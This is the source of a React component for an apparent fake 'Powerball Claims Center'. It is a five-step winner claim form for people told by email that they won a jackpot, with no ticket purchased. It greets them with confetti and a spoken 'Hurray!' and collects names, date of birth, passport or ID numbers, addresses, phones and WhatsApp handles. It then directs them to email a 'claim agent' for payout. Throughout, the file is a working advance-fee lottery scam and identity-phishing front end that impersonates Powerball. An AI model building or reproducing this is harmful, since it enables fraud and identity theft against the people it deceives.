"use client";

import { FormEvent, KeyboardEvent, ReactNode, useRef, useState } from "react";
import { countries } from "@/data/countries";
import { PowerballBallIcon, PowerballLogo } from "@/components/powerball-logo";

function Icon({ children, className = "h-5 w-5" }: { children: ReactNode; className?: string }) {
  return (
    <svg className={className} viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth="1.8" strokeLinecap="round" strokeLinejoin="round" aria-hidden="true">
      {children}
    </svg>
  );
}

const confetti = Array.from({ length: 44 }, (_, index) => ({
  left: `${(index * 37) % 100}%`,
  delay: `${(index % 11) * 0.08}s`,
  color: ["#d71920", "#ffca28", "#ffffff", "#26a69a", "#5c6bc0"][index % 5],
}));

function playHurray(context: AudioContext) {
  const now = context.currentTime;
  [523.25, 659.25, 783.99, 1046.5].forEach((frequency, index) => {
    const oscillator = context.createOscillator();
    const gain = context.createGain();
    oscillator.type = "sine";
    oscillator.frequency.value = frequency;
    gain.gain.setValueAtTime(0, now + index * 0.12);
    gain.gain.linearRampToValueAtTime(0.13, now + index * 0.12 + 0.025);
    gain.gain.exponentialRampToValueAtTime(0.001, now + index * 0.12 + 0.38);
    oscillator.connect(gain).connect(context.destination);
    oscillator.start(now + index * 0.12);
    oscillator.stop(now + index * 0.12 + 0.4);
  });
  if ("speechSynthesis" in window) {
    window.speechSynthesis.cancel();
    const announcement = new SpeechSynthesisUtterance("Hurray! Congratulations! Grand Prize Jackpot Winner!");
    announcement.rate = 1.05;
    announcement.pitch = 1.2;
    window.speechSynthesis.speak(announcement);
  }
  setTimeout(() => void context.close(), 1400);
}

export default function ClaimForm() {
  const [currentStep, setCurrentStep] = useState<1 | 2 | 3 | 4 | 5>(1);

  // Step 1: Verify win state
  const [serial, setSerial] = useState("");
  const [numbers, setNumbers] = useState(["", "", "", "", "", ""]);
  const numberRefs = useRef<Array<HTMLInputElement | null>>([]);
  const [verified, setVerified] = useState(false);
  const [verifiedData, setVerifiedData] = useState<{
    prizeAmount: string;
    issueDate: string;
    serialNumber: string;
    winningNumbers: string;
  } | null>(null);
  const [verifying, setVerifying] = useState(false);
  const [verifyError, setVerifyError] = useState("");
  const [celebrating, setCelebrating] = useState(false);

  // Step 2: Winner Identity state
  const [firstName, setFirstName] = useState("");
  const [middleName, setMiddleName] = useState("");
  const [lastName, setLastName] = useState("");
  const [dateOfBirth, setDateOfBirth] = useState("");
  const [nationality, setNationality] = useState("United States");
  const [idNumber, setIdNumber] = useState("");

  // Step 3: Contact state
  const [email, setEmail] = useState("");
  const [phone, setPhone] = useState("");
  const [preferredContact, setPreferredContact] = useState("email");
  const [socialMedia, setSocialMedia] = useState("");
  const [address, setAddress] = useState("");
  const [city, setCity] = useState("");
  const [region, setRegion] = useState("");
  const [postalCode, setPostalCode] = useState("");
  const [country, setCountry] = useState("United States");

  // Step 4: Prize & Payout state
  const [paymentPreference, setPaymentPreference] = useState("lump-sum");
  const [notes, setNotes] = useState("");

  // Step 5: Review & Sign state
  const [signature, setSignature] = useState("");
  const [certified, setCertified] = useState(false);
  const [submitting, setSubmitting] = useState(false);
  const [submitError, setSubmitError] = useState("");

  // Success Confirmation state
  const [reference, setReference] = useState("");
  const [claimAgentEmail, setClaimAgentEmail] = useState("");

  // Track claim process modal state
  const [trackModalOpen, setTrackModalOpen] = useState(false);
  const [trackQuery, setTrackQuery] = useState("");
  const [trackLoading, setTrackLoading] = useState(false);
  const [trackError, setTrackError] = useState("");
  const [trackResult, setTrackResult] = useState<{
    reference: string;
    ticketNumber: string;
    claimantName: string;
    prizeTier: string;
    prizeAmount: string;
    payoutPreference: string;
    status: string;
    submissionDate: string;
  } | null>(null);

  async function handleTrackLookup(e: FormEvent) {
    e.preventDefault();
    if (!trackQuery.trim()) return;
    setTrackLoading(true);
    setTrackError("");
    setTrackResult(null);

    try {
      const res = await fetch(`/api/claims/track?q=${encodeURIComponent(trackQuery.trim())}`);
      const data = await res.json();
      if (!res.ok || !data.found) {
        throw new Error(data.error || "No claim file found with that reference or serial code.");
      }
      setTrackResult(data);
    } catch (err) {
      setTrackError(err instanceof Error ? err.message : "Unable to locate claim file.");
    } finally {
      setTrackLoading(false);
    }
  }

  function updateNumber(index: number, value: string) {
    const cleaned = value.replace(/\D/g, "").slice(0, 2);
    setNumbers((current) => current.map((n, idx) => (idx === index ? cleaned : n)));
    if (cleaned.length === 2 && index < 5) {
      numberRefs.current[index + 1]?.focus();
    }
  }

  function handleNumberKey(index: number, event: KeyboardEvent<HTMLInputElement>) {
    if (event.key === "Backspace" && !numbers[index] && index > 0) {
      numberRefs.current[index - 1]?.focus();
    }
  }

  async function handleVerifySubmit(event: FormEvent) {
    event.preventDefault();
    setVerifying(true);
    setVerifyError("");

    const audioContext = new AudioContext();
    void audioContext.resume();

    try {
      const response = await fetch("/api/verify-entry", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          serialNumber: serial.trim(),
          numbers: numbers.map((n) => n.trim()),
        }),
      });

      const result = (await response.json()) as {
        matched?: boolean;
        error?: string;
        prizeAmount?: string;
        issueDate?: string;
        serialNumber?: string;
        winningNumbers?: string;
      };

      if (!response.ok || !result.matched) {
        throw new Error(result.error || "Those details do not match an active winning entry.");
      }

      setVerified(true);
      setVerifiedData({
        prizeAmount: result.prizeAmount || "$1,300,000,000",
        issueDate: result.issueDate || "2026-01-15",
        serialNumber: result.serialNumber || serial.trim().toUpperCase(),
        winningNumbers: result.winningNumbers || numbers.join(","),
      });

      playHurray(audioContext);
      setCelebrating(true);
      setTimeout(() => setCelebrating(false), 4200);
    } catch (err) {
      void audioContext.close();
      setVerifyError(err instanceof Error ? err.message : "Verification failed. Check your numbers and serial.");
    } finally {
      setVerifying(false);
    }
  }

  function validateStep2(): boolean {
    if (!firstName.trim() || !lastName.trim()) {
      alert("Please enter both First Name and Last Name.");
      return false;
    }
    return true;
  }

  function validateStep3(): boolean {
    if (!email.trim() || !phone.trim() || !address.trim() || !city.trim() || !region.trim() || !postalCode.trim() || !country.trim()) {
      alert("Please fill in all required contact and address fields.");
      return false;
    }
    return true;
  }

  function handleNext() {
    if (currentStep === 1) {
      if (!verified) {
        alert("Please verify your ticket serial number and 6 winning numbers first.");
        return;
      }
      setCurrentStep(2);
      window.scrollTo({ top: 120, behavior: "smooth" });
    } else if (currentStep === 2) {
      if (!validateStep2()) return;
      setCurrentStep(3);
      window.scrollTo({ top: 120, behavior: "smooth" });
    } else if (currentStep === 3) {
      if (!validateStep3()) return;
      setCurrentStep(4);
      window.scrollTo({ top: 120, behavior: "smooth" });
    } else if (currentStep === 4) {
      setCurrentStep(5);
      window.scrollTo({ top: 120, behavior: "smooth" });
    }
  }

  function handleBack() {
    if (currentStep > 1) {
      setCurrentStep((prev) => (prev - 1) as 1 | 2 | 3 | 4 | 5);
      window.scrollTo({ top: 120, behavior: "smooth" });
    }
  }

  async function handleFinalSubmit(event: FormEvent) {
    event.preventDefault();
    if (!certified) {
      setSubmitError("Please check the certification declaration box to proceed.");
      return;
    }

    setSubmitting(true);
    setSubmitError("");

    try {
      const payload = {
        firstName: firstName.trim(),
        lastName: lastName.trim(),
        middleName: middleName.trim() || null,
        dateOfBirth: dateOfBirth.trim() || null,
        nationality: nationality.trim() || null,
        idNumber: idNumber.trim() || null,
        email: email.trim(),
        phone: phone.trim(),
        preferredContact,
        socialMedia: socialMedia.trim() || null,
        address: address.trim(),
        city: city.trim(),
        region: region.trim(),
        postalCode: postalCode.trim(),
        country: country.trim(),
        ticketNumber: (verifiedData?.serialNumber || serial).trim().toUpperCase(),
        winningNumbers: (verifiedData?.winningNumbers || numbers.join(",")).trim(),
        prizeAmount: verifiedData?.prizeAmount || "$1,300,000,000",
        paymentPreference,
        notes: notes.trim() || null,
        signature: signature.trim() || `${firstName} ${lastName}`,
        certified: true,
      };

      const response = await fetch("/api/claims", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify(payload),
      });

      const result = (await response.json()) as {
        ok?: boolean;
        error?: string;
        reference?: string;
        claimAgentEmail?: string | null;
      };

      if (!response.ok || !result.reference) {
        throw new Error(result.error || "Submission failed. Please try again.");
      }

      setClaimAgentEmail(result.claimAgentEmail || "");
      setReference(result.reference);
      window.scrollTo({ top: 0, behavior: "smooth" });
    } catch (err) {
      setSubmitError(err instanceof Error ? err.message : "Submission failed.");
    } finally {
      setSubmitting(false);
    }
  }

  // Final Confirmation Screen
  if (reference) {
    const emailSubject = encodeURIComponent(`Grand Prize Jackpot Claim Reference ${reference}`);
    const emailBody = encodeURIComponent(
      `Hello Claim Agent,\n\nI have completed the official winner claim form. My generated reference number is ${reference}.\n\nPrize Tier: Grand Prize Jackpot (${verifiedData?.prizeAmount || "$1,300,000,000"})\nTicket Serial Number: ${verifiedData?.serialNumber || serial}\nClaimant Name: ${firstName} ${lastName}\n\nPlease advise me on the next step to proceed with my Grand Prize Jackpot disbursement.\n\nThank you.`
    );

    return (
      <main className="success-wrap">
        <section className="success-card">
          <div className="flex justify-center mb-4">
            <PowerballLogo variant="light" size="md" />
          </div>
          <div className="success-check">
            <Icon className="h-8 w-8">
              <path d="m6.5 12.5 3.4 3.4L18 7.8" />
            </Icon>
          </div>
          <p className="eyebrow">Claim File Received & Recorded</p>
          <div className="grand-prize-badge">🏆 Prize Tier: Grand Prize Jackpot ({verifiedData?.prizeAmount || "$1,300,000,000"})</div>
          <h1>Your claim reference is ready.</h1>
          <p className="success-copy">
            Your winner declaration for the <strong>Grand Prize Jackpot</strong> has been officially logged in the Powerball Claims Center. To proceed with prize disbursement, email your generated reference number directly to your assigned claim agent.
          </p>
          <div className="reference-box">
            <div className="ref-tier-tag">Grand Prize Jackpot · Official Reference</div>
            <span>Claim reference code</span>
            <strong>{reference}</strong>
          </div>

          <a className="agent-email-button" href={`mailto:${claimAgentEmail}?subject=${emailSubject}&body=${emailBody}`}>
            <Icon>
              <path d="M4 6h16v12H4z" />
              <path d="m4 7 8 6 8-6" />
            </Icon>
            {claimAgentEmail ? `Email Reference to ${claimAgentEmail}` : "Open email to contact claim agent"}
          </a>
          {!claimAgentEmail && <p className="agent-email-note">Add the claim agent email address provided in your notification before sending.</p>}

          <div className="next-steps">
            <h2>Next steps for payout disbursement:</h2>
            <p>
              <b>1</b> Email the reference above to your designated claim agent.
            </p>
            <p>
              <b>2</b> The agent will verify your identity credentials and provide the payout disbursement paperwork for your {paymentPreference === "lump-sum" ? "Lump-Sum" : "Annuity"} selection.
            </p>
            <p>
              <b>3</b> Keep your original notification email and serial code secure.
            </p>
          </div>
          <p className="support-line">
            <strong>Important:</strong> Verify claim agent credentials before sending personal information.
          </p>
        </section>
      </main>
    );
  }

  // 5-Step Winner Claim Form (Matches attached screenshot exactly)
  return (
    <>
      {celebrating && (
        <div className="celebration" role="status" aria-live="assertive">
          <div className="confetti-field">
            {confetti.map((piece, index) => (
              <i key={index} style={{ left: piece.left, animationDelay: piece.delay, background: piece.color }} />
            ))}
          </div>
          <div className="celebration-bubble">
            <div className="flex justify-center -mt-16 mb-2">
              <PowerballBallIcon size={68} className="drop-shadow-lg" />
            </div>
            <p>Congratulations!</p>
            <div className="bubble-tier-pill">🏆 Grand Prize Jackpot</div>
            <strong>Winning Numbers Match!</strong>
            <small>
              Verified Prize Amount: <strong>{verifiedData?.prizeAmount || "$1,300,000,000"}</strong>. Click &quot;Continue&quot; to complete your winner claim file.
            </small>
          </div>
        </div>
      )}

      {/* Top Header */}
      <header className="topbar">
        <div className="brand" aria-label="Powerball Claims Center">
          <PowerballLogo variant="light" size="sm" showSubtitle subtitleText="CLAIMS CENTER" />
        </div>
        <div className="topbar-right">
          <button
            type="button"
            onClick={() => {
              setTrackModalOpen(true);
              setTrackError("");
              setTrackResult(null);
            }}
            className="track-claim-topbar-btn"
            title="Track existing claim status"
          >
            <span>🔍</span>
            <span>Track claim process</span>
          </button>
          <div className="prize-tier-pill">🏆 Grand Prize Jackpot</div>
          <div className="secure-label">
            <Icon>
              <rect x="5" y="10" width="14" height="10" rx="2" />
              <path d="M8 10V7a4 4 0 0 1 8 0v3" />
            </Icon>
            <span>
              <b>Secure Form</b>
              <small>Form PB-1040</small>
            </span>
          </div>
        </div>
      </header>

      {/* Main 5-Step Container */}
      <main className="form-portal-shell">
        <div className="claim-box-card">
          {/* Top 5-Step Progress Tabs matching Screenshot */}
          <nav className="step-tabs-bar" aria-label="Claim Steps">
            {/* Step 1 */}
            <div className={`step-tab ${currentStep === 1 ? "active-tab" : currentStep > 1 ? "completed-tab" : ""}`}>
              <div className="tab-circle">1</div>
              <div className="tab-text-group">
                <span className="tab-title">Verify win</span>
                <span className="tab-subtitle">Serial + numbers</span>
              </div>
            </div>

            {/* Step 2 */}
            <div className={`step-tab ${currentStep === 2 ? "active-tab" : currentStep > 2 ? "completed-tab" : ""}`}>
              <div className="tab-circle">2</div>
              <div className="tab-text-group">
                <span className="tab-title">Winner identity</span>
                <span className="tab-subtitle">Who is claiming</span>
              </div>
            </div>

            {/* Step 3 */}
            <div className={`step-tab ${currentStep === 3 ? "active-tab" : currentStep > 3 ? "completed-tab" : ""}`}>
              <div className="tab-circle">3</div>
              <div className="tab-text-group">
                <span className="tab-title">Contact</span>
                <span className="tab-subtitle">How to reach you</span>
              </div>
            </div>

            {/* Step 4 */}
            <div className={`step-tab ${currentStep === 4 ? "active-tab" : currentStep > 4 ? "completed-tab" : ""}`}>
              <div className="tab-circle">4</div>
              <div className="tab-text-group">
                <span className="tab-title">Prize & payout</span>
                <span className="tab-subtitle">How to be paid</span>
              </div>
            </div>

            {/* Step 5 */}
            <div className={`step-tab ${currentStep === 5 ? "active-tab" : ""}`}>
              <div className="tab-circle">5</div>
              <div className="tab-text-group">
                <span className="tab-title">Review & sign</span>
                <span className="tab-subtitle">Declaration</span>
              </div>
            </div>
          </nav>

          {/* Card Inner Content */}
          <div className="claim-card-body">
            {/* Grantee Name Header Header Box matching Screenshot */}
            <div className="grantee-header-box">
              <div className="grantee-left">
                <span className="grantee-label">GRANTEE NAME</span>
                <div className="grantee-brand">
                  <div className="grantee-p-avatar">P</div>
                  <strong className="grantee-title">Powerball</strong>
                </div>
              </div>
              <div className="grantee-right">
                <span>Winner Claim Form · Form PB-1040 · Powerball Claims Center</span>
              </div>
            </div>

            {/* STEP 1: Verify Win (Exact UI from screenshot) */}
            {currentStep === 1 && (
              <form onSubmit={handleVerifySubmit} className="step-content-form">
                {/* Field 1: Ticket Serial Number */}
                <div className="form-field-group">
                  <label htmlFor="ticketSerialInput" className="form-field-label">
                    TICKET SERIAL NUMBER (FROM YOUR NOTIFICATION EMAIL)
                  </label>
                  <input
                    id="ticketSerialInput"
                    type="text"
                    className="serial-main-input"
                    placeholder="PB-INTL-928103"
                    value={serial}
                    onChange={(e) => setSerial(e.target.value.toUpperCase())}
                    autoComplete="off"
                    required
                  />
                  <p className="field-helper-note">
                    This is the serial that Powerball emailed to you — no purchase or retailer is involved.
                  </p>
                </div>

                {/* Field 2: Your Six Winning Numbers */}
                <div className="form-field-group">
                  <label className="form-field-label">YOUR SIX WINNING NUMBERS</label>
                  <div className="six-balls-container">
                    {numbers.map((val, idx) => (
                      <div key={idx} className="ball-input-wrap">
                        <input
                          ref={(el) => {
                            numberRefs.current[idx] = el;
                          }}
                          type="text"
                          inputMode="numeric"
                          pattern="\d{1,2}"
                          maxLength={2}
                          placeholder="—"
                          className={`ball-slot-input ${idx === 5 ? "red-ball-slot" : ""}`}
                          value={val}
                          onChange={(e) => updateNumber(idx, e.target.value)}
                          onKeyDown={(e) => handleNumberKey(idx, e)}
                          required
                        />
                      </div>
                    ))}
                  </div>
                  <p className="field-helper-note">
                    Enter the six unique numbers exactly as listed in your award email.
                  </p>
                </div>

                {verifyError && (
                  <div className="verify-error-banner" role="alert">
                    ✕ {verifyError}
                  </div>
                )}

                {verified && verifiedData && (
                  <div className="verify-success-banner" role="status">
                    <div className="v-check-icon">✓</div>
                    <div>
                      <strong>Grand Prize Winning Entry Confirmed!</strong>
                      <p>
                        Verified Prize Amount: <strong>{verifiedData.prizeAmount}</strong> | Draw Date: {verifiedData.issueDate}
                      </p>
                    </div>
                  </div>
                )}

                {/* Red Check Button */}
                <div className="btn-action-row">
                  <button type="submit" className="check-numbers-red-btn" disabled={verifying}>
                    {verifying ? "CHECKING WINNING NUMBERS…" : "CHECK MY WINNING NUMBERS"}
                  </button>
                </div>
              </form>
            )}

            {/* STEP 2: Winner Identity (Who is claiming) */}
            {currentStep === 2 && (
              <div className="step-content-form">
                <div className="step-intro-bar">
                  <h2>Winner Identity Information</h2>
                  <p>Provide your official identity details as they appear on your government-issued identification.</p>
                </div>

                <div className="grid-2-col">
                  <div className="form-field-group">
                    <label className="form-field-label">FIRST NAME *</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="e.g. John"
                      value={firstName}
                      onChange={(e) => setFirstName(e.target.value)}
                      required
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">LAST NAME *</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="e.g. Doe"
                      value={lastName}
                      onChange={(e) => setLastName(e.target.value)}
                      required
                    />
                  </div>
                </div>

                <div className="grid-3-col">
                  <div className="form-field-group">
                    <label className="form-field-label">MIDDLE NAME (OPTIONAL)</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="e.g. Edward"
                      value={middleName}
                      onChange={(e) => setMiddleName(e.target.value)}
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">DATE OF BIRTH *</label>
                    <input
                      type="date"
                      className="text-input-field"
                      value={dateOfBirth}
                      onChange={(e) => setDateOfBirth(e.target.value)}
                      required
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">NATIONALITY / CITIZENSHIP *</label>
                    <select
                      className="text-input-field"
                      value={nationality}
                      onChange={(e) => setNationality(e.target.value)}
                      required
                    >
                      {countries.map((c) => (
                        <option key={c} value={c}>
                          {c}
                        </option>
                      ))}
                    </select>
                  </div>
                </div>

                <div className="form-field-group">
                  <label className="form-field-label">GOVERNMENT ID / PASSPORT NUMBER (FOR DISBURSEMENT VALIDATION)</label>
                  <input
                    type="text"
                    className="text-input-field"
                    placeholder="e.g. P12345678 or ID-987654"
                    value={idNumber}
                    onChange={(e) => setIdNumber(e.target.value)}
                  />
                  <p className="field-helper-note">Used strictly for verifying claimant identity against the issued entry.</p>
                </div>
              </div>
            )}

            {/* STEP 3: Contact (How to reach you) */}
            {currentStep === 3 && (
              <div className="step-content-form">
                <div className="step-intro-bar">
                  <h2>Contact & Worldwide Address</h2>
                  <p>Enter your primary contact coordinates and permanent residence for prize coordination.</p>
                </div>

                <div className="grid-2-col">
                  <div className="form-field-group">
                    <label className="form-field-label">MOST ACTIVE EMAIL ADDRESS *</label>
                    <input
                      type="email"
                      className="text-input-field"
                      placeholder="winner@example.com"
                      value={email}
                      onChange={(e) => setEmail(e.target.value)}
                      required
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">VALID PHONE NUMBER (WITH COUNTRY CODE) *</label>
                    <input
                      type="tel"
                      className="text-input-field"
                      placeholder="+1 (555) 000-0000 or +44 7700..."
                      value={phone}
                      onChange={(e) => setPhone(e.target.value)}
                      required
                    />
                  </div>
                </div>

                <div className="grid-2-col">
                  <div className="form-field-group">
                    <label className="form-field-label">PREFERRED CONTACT METHOD *</label>
                    <select
                      className="text-input-field"
                      value={preferredContact}
                      onChange={(e) => setPreferredContact(e.target.value)}
                      required
                    >
                      <option value="email">Email</option>
                      <option value="phone">Phone / SMS</option>
                      <option value="social">WhatsApp / Social Media</option>
                    </select>
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">SOCIAL MEDIA / WHATSAPP HANDLE (OPTIONAL)</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="e.g. WhatsApp +1... or @username"
                      value={socialMedia}
                      onChange={(e) => setSocialMedia(e.target.value)}
                    />
                  </div>
                </div>

                <div className="form-field-group">
                  <label className="form-field-label">STREET ADDRESS *</label>
                  <input
                    type="text"
                    className="text-input-field"
                    placeholder="House / Apartment number and street address"
                    value={address}
                    onChange={(e) => setAddress(e.target.value)}
                    required
                  />
                </div>

                <div className="grid-3-col">
                  <div className="form-field-group">
                    <label className="form-field-label">CITY / TOWN *</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="City or Town"
                      value={city}
                      onChange={(e) => setCity(e.target.value)}
                      required
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">STATE / PROVINCE / REGION *</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="State or Region"
                      value={region}
                      onChange={(e) => setRegion(e.target.value)}
                      required
                    />
                  </div>

                  <div className="form-field-group">
                    <label className="form-field-label">POSTAL / ZIP CODE *</label>
                    <input
                      type="text"
                      className="text-input-field"
                      placeholder="Postal code"
                      value={postalCode}
                      onChange={(e) => setPostalCode(e.target.value)}
                      required
                    />
                  </div>
                </div>

                <div className="form-field-group">
                  <label className="form-field-label">COUNTRY OF RESIDENCE *</label>
                  <select
                    className="text-input-field"
                    value={country}
                    onChange={(e) => setCountry(e.target.value)}
                    required
                  >
                    {countries.map((c) => (
                      <option key={c} value={c}>
                        {c}
                      </option>
                    ))}
                  </select>
                </div>
              </div>
            )}

            {/* STEP 4: Prize & Payout (How to be paid) */}
            {currentStep === 4 && (
              <div className="step-content-form">
                <div className="step-intro-bar">
                  <h2>Prize & Payment Preference</h2>
                  <p>Choose your preliminary payment disbursement preference for the Grand Prize Jackpot.</p>
                </div>

                <div className="prize-amount-highlight-card">
                  <div className="p-amt-badge">🏆 GRAND PRIZE JACKPOT TIER</div>
                  <strong className="p-amt-val">{verifiedData?.prizeAmount || "$1,300,000,000"}</strong>
                  <span className="p-amt-meta">Serial Code: {verifiedData?.serialNumber || serial} | Draw Date: {verifiedData?.issueDate || "2026-01-15"}</span>
                </div>

                <div className="payment-options-grid">
                  <label className={`payout-choice-box ${paymentPreference === "lump-sum" ? "selected" : ""}`}>
                    <input
                      type="radio"
                      name="paymentOption"
                      value="lump-sum"
                      checked={paymentPreference === "lump-sum"}
                      onChange={(e) => setPaymentPreference(e.target.value)}
                    />
                    <div className="payout-radio-circle" />
                    <div className="payout-choice-text">
                      <strong>Grand Prize Lump-Sum Cash Option</strong>
                      <p>Receive the single immediate cash settlement payment in one disbursement, before applicable legal withholdings.</p>
                      <span className="popular-tag">MOST POPULAR CHOICE</span>
                    </div>
                  </label>

                  <label className={`payout-choice-box ${paymentPreference === "annuity" ? "selected" : ""}`}>
                    <input
                      type="radio"
                      name="paymentOption"
                      value="annuity"
                      checked={paymentPreference === "annuity"}
                      onChange={(e) => setPaymentPreference(e.target.value)}
                    />
                    <div className="payout-radio-circle" />
                    <div className="payout-choice-text">
                      <strong>Grand Prize 30-Year Annuity Option</strong>
                      <p>Receive 1 initial immediate payment followed by 29 graduated annual installments (increasing 5% annually).</p>
                    </div>
                  </label>
                </div>

                <div className="security-notice-box">
                  <Icon>
                    <circle cx="12" cy="12" r="9" />
                    <path d="M12 11v5M12 8h.01" />
                  </Icon>
                  <p>
                    <strong>Payment details are handled in the final step with your agent</strong>
                    <span>
                      After completing this form, you will receive an official claim reference code to email your claim agent. Never submit bank passwords or wire advance fees on this portal.
                    </span>
                  </p>
                </div>

                <div className="form-field-group">
                  <label className="form-field-label">SPECIAL INSTRUCTIONS / NOTES (OPTIONAL)</label>
                  <textarea
                    rows={3}
                    className="text-input-field"
                    placeholder="Add any specific notes or questions for your claim specialist..."
                    value={notes}
                    onChange={(e) => setNotes(e.target.value)}
                  />
                </div>
              </div>
            )}

            {/* STEP 5: Review & Sign (Declaration) */}
            {currentStep === 5 && (
              <form onSubmit={handleFinalSubmit} className="step-content-form">
                <div className="step-intro-bar">
                  <h2>Review Claim File & Legal Declaration</h2>
                  <p>Please review all summary details below, sign your declaration, and submit your official claim file.</p>
                </div>

                {/* Summary Table */}
                <div className="claim-summary-card">
                  <div className="summary-row">
                    <span>Prize Tier:</span>
                    <strong>🏆 Grand Prize Jackpot ({verifiedData?.prizeAmount || "$1,300,000,000"})</strong>
                  </div>
                  <div className="summary-row">
                    <span>Ticket Serial:</span>
                    <code>{verifiedData?.serialNumber || serial}</code>
                  </div>
                  <div className="summary-row">
                    <span>Winning Numbers:</span>
                    <strong className="text-red-700">{verifiedData?.winningNumbers || numbers.join(", ")}</strong>
                  </div>
                  <div className="summary-row">
                    <span>Claimant Name:</span>
                    <span>{firstName} {middleName ? middleName + " " : ""}{lastName}</span>
                  </div>
                  <div className="summary-row">
                    <span>Contact Info:</span>
                    <span>{email} | {phone}</span>
                  </div>
                  <div className="summary-row">
                    <span>Address:</span>
                    <span>{address}, {city}, {region} {postalCode}, {country}</span>
                  </div>
                  <div className="summary-row">
                    <span>Payment Selection:</span>
                    <span className="font-bold">{paymentPreference === "lump-sum" ? "Lump-Sum Cash Option" : "30-Year Annuity Option"}</span>
                  </div>
                </div>

                {/* Signature Field */}
                <div className="form-field-group">
                  <label className="form-field-label">FULL LEGAL NAME / DIGITAL SIGNATURE *</label>
                  <input
                    type="text"
                    className="text-input-field font-serif text-lg italic"
                    placeholder={`${firstName} ${lastName}`}
                    value={signature}
                    onChange={(e) => setSignature(e.target.value)}
                    required
                  />
                  <p className="field-helper-note">Type your full legal name as an official electronic signature.</p>
                </div>

                {/* Certification Checkbox */}
                <div className="certify-box">
                  <label className="certify-label-row">
                    <input
                      type="checkbox"
                      checked={certified}
                      onChange={(e) => setCertified(e.target.checked)}
                      required
                    />
                    <span>
                      I solemnly certify under penalty of perjury that the information provided in this claim file is true, correct, and complete. I confirm that I am the lawful holder of the winning entry described above.
                    </span>
                  </label>
                </div>

                {submitError && (
                  <div className="verify-error-banner" role="alert">
                    ✕ {submitError}
                  </div>
                )}

                <div className="btn-action-row">
                  <button type="submit" className="submit-final-claim-btn" disabled={submitting}>
                    {submitting ? "SUBMITTING OFFICIAL CLAIM FILE…" : "✦ SUBMIT OFFICIAL WINNER CLAIM FILE"}
                  </button>
                </div>
              </form>
            )}

            {/* Bottom Navigation matching screenshot */}
            <div className="claim-card-footer">
              <button
                type="button"
                className={`footer-back-btn ${currentStep === 1 ? "disabled" : ""}`}
                onClick={handleBack}
                disabled={currentStep === 1}
              >
                Back
              </button>

              <span className="step-counter-text">Step {currentStep} of 5</span>

              {currentStep < 5 && (
                <button
                  type="button"
                  className={`footer-continue-btn ${currentStep === 1 && !verified ? "opacity-60" : ""}`}
                  onClick={handleNext}
                >
                  Continue
                </button>
              )}
            </div>
          </div>
        </div>
      </main>

      {/* Track Claim Process Modal */}
      {trackModalOpen && (
        <div className="tracker-modal-overlay" onClick={() => setTrackModalOpen(false)}>
          <div className="tracker-modal-card" onClick={(e) => e.stopPropagation()}>
            <button
              type="button"
              className="tracker-close-btn"
              onClick={() => setTrackModalOpen(false)}
              aria-label="Close Tracker"
            >
              ✕
            </button>

            <div className="tracker-header">
              <div className="flex items-center gap-2 mb-1">
                <PowerballBallIcon size={28} />
                <span className="text-xs font-black uppercase tracking-wider text-amber-700">Official Claim Tracker</span>
              </div>
              <h2>Track Claim File Process</h2>
              <p>Enter your official Claim Reference Code (e.g. <code>PB-XXXXXXXX</code>) or Ticket Serial Number to view live processing status.</p>
            </div>

            <form onSubmit={handleTrackLookup} className="tracker-search-row">
              <input
                type="text"
                className="tracker-input"
                placeholder="Enter Reference (e.g. PB-A8F3B912) or Serial"
                value={trackQuery}
                onChange={(e) => setTrackQuery(e.target.value.toUpperCase())}
                autoFocus
                required
              />
              <button type="submit" className="tracker-btn" disabled={trackLoading}>
                {trackLoading ? "Searching…" : "Track File"}
              </button>
            </form>

            {trackError && (
              <div className="verify-error-banner mb-3" role="alert">
                ✕ {trackError}
              </div>
            )}

            {trackResult && (
              <div className="tracker-result-card">
                <div className="tracker-status-bar">
                  <div>
                    <span className="text-[10px] font-bold text-slate-400 uppercase tracking-wider block">Claim Reference</span>
                    <strong className="font-mono text-base text-slate-900">{trackResult.reference}</strong>
                  </div>
                  <span className="tracker-status-tag">
                    ● {trackResult.status}
                  </span>
                </div>

                <div className="tracker-details-list">
                  <div className="tracker-detail-item">
                    <span>Ticket Serial:</span>
                    <code className="font-mono font-bold text-slate-800">{trackResult.ticketNumber}</code>
                  </div>
                  <div className="tracker-detail-item">
                    <span>Claimant Name:</span>
                    <span>{trackResult.claimantName}</span>
                  </div>
                  <div className="tracker-detail-item">
                    <span>Prize Tier & Value:</span>
                    <strong className="text-amber-800 font-bold">🏆 {trackResult.prizeTier} ({trackResult.prizeAmount})</strong>
                  </div>
                  <div className="tracker-detail-item">
                    <span>Selected Payment Option:</span>
                    <span>{trackResult.payoutPreference}</span>
                  </div>
                  <div className="tracker-detail-item">
                    <span>Submission Date:</span>
                    <span>{trackResult.submissionDate}</span>
                  </div>
                </div>
              </div>
            )}
          </div>
        </div>
      )}

      {/* Footer */}
      <footer>
        <div>
          <PowerballLogo variant="light" size="sm" />
          <p>
            <b>Powerball Claims Center</b>
            <span>Worldwide Grand Prize Jackpot Claim Portal · Form PB-1040</span>
          </p>
        </div>
        <nav>
          <a href="/admin">Staff Sign In</a>
          <a href="#privacy">Privacy</a>
          <a href="#security">Security</a>
          <a href="#help">Support</a>
        </nav>
        <p>Official claims workflow. Verify prize communications before sharing personal information.</p>
      </footer>
    </>
  );
}
